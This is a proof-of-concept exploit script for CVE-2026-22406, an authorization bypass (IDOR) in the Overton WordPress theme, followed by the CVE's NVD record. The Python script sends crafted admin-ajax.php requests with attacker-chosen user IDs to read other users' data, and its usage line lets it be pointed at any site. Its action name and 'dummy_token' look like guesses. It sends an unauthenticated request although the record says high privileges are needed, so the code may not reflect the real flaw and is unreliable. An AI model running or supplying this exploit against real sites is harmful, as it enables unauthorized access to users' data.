CVE-2026-22406

# CVE-2026-22406 PoC - Overton Theme IDOR Vulnerability # Affected: Overton Theme <= 1.3 # Type: Authorization Bypass / IDOR import requests import sys def exploit_overton_idor(target_url, vulnerable_param, user_id): """ Exploit for CVE-2026-22406 - Authorization Bypass Through User-Controlled Key This PoC demonstrates how an attacker can manipulate user-controlled parameters to bypass access control restrictions in Overton theme. """ # Target endpoint that contains the vulnerable parameter endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Malicious payload exploiting the user-controlled key # Attacker manipulates the parameter to access unauthorized resources payload = { 'action': 'overton_get_user_data', vulnerable_param: user_id, # User-controlled parameter 'security': 'dummy_token' # Weak or missing security check } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: # Check if unauthorized access was successful if 'success' in response.text or 'data' in response.text: print(f"[!] Vulnerability confirmed! IDOR exploit successful") print(f"[*] Accessed data for user ID: {user_id}") print(f"[*] Response: {response.text[:200]}") return True else: print(f"[*] Request returned status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2026-22406.py <target_url> <param_name> <user_id>") print("Example: python cve-2026-22406.py http://example.com user_id 1") sys.exit(1) target = sys.argv[1] param = sys.argv[2] uid = sys.argv[3] exploit_overton_idor(target, param, uid)

{"cve": {"id": "CVE-2026-22406", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:33.673", "lastModified": "2026-04-28T19:36:35.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Overton overton allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Overton: from n/a through <= 1.3."}, {"lang": "es", "value": "Vulnerabilidad de omisión de autorización a través de clave controlada por el usuario en Mikado-Themes Overton overton permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Overton: desde n/a hasta &lt;= 1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/overton/vulnerability/wordpress-overton-theme-1-3-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}